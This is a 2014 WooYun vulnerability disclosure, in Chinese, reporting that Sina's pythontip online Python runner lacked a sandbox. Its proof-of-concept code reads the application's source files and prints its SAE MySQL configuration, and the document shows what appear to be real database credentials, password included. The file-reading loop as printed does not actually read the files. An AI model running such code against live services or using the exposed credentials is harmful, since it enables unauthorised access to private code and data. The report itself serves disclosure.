[公开漏洞]新浪saepythontip执行未使用沙箱机制导致代码泄露 - 漏洞预警

新浪saepythontip执行未使用沙箱机制导致代码泄露相关厂商：新浪漏洞作者：dramforever 提交时间：2014-05-02 17:49 公开时间：2014-05-04 09:10 漏洞类型：任意文件遍历/下载危害等级：中自评Rank：6 漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞漏洞来源：http://www.wooyun.org Tags标签：任意文件读取目录遍历漏洞详情披露状态：

2014-05-02：细节已通知厂商并且等待厂商处理中
2014-05-04：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

在pythontip在线执行中可以获得程序源代码和程序配置

详细说明：

pythontip在线编程没有屏蔽os模块中的许多功能，也没有阻止open读取文件内容，导致源代码泄露；pythontip在线编程没有使用隔离的python程序导致可以使用sae模块读取程序配置。

漏洞证明：

在http://pythontip.sinaapp.com/coding/run运行：

import os



def get_filepaths(directory):

    file_paths = []  # List which will store all of the full filepaths.



    # Walk the tree.

    for root, directories, files in os.walk(directory):

        for filename in files:

            # Join the two strings in order to form the full filepath.

            filepath = os.path.join(root, filename)

            file_paths.append(filepath)  # Add it to the list.



    return file_paths  # Self-explanatory.



for p in get_filepaths("."):

    if p[-2:] == "py":

        f = open(p)

        print "=========[" + p + "]========="

        f.close()

        del f

输出当前目录下全部python脚本内容，截取一部分如下：

=========[./manage.py]=========

#!/usr/bin/env python

import os

import sys



if __name__ == "__main__":

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pythontip.settings")



    from django.core.management import execute_from_command_line

（以后略）

再运行

import sae

print sae.const.MYSQL_USER

print sae.const.MYSQL_PASS

print sae.const.MYSQL_HOST

print sae.const.MYSQL_DB

print sae.const.MYSQL_PORT

输出：（显然是连接信息。虽然sae防止外部连接到数据库，但可能可以通过在线编程读取到数据库）

y0k0xwjnlj

wlw2jmzklz5i122j12i2zj3i34j33z2x3mhii4wy

w.rdc.sae.sina.com.cn

app_yunmei

3307

修复方案：

pythontip事实上已经阻止了部分函数执行（比如os中的execlp不能用，而且没有fork），推荐加强这方面的防护，也推荐使用虚拟化技术来运行python程序。

危害等级：无影响厂商忽略

忽略时间：2014-05-04 09:10

厂商回复：

感谢关注新浪安全，该bug属于该应用问题，不是sae平台问题，故忽略处理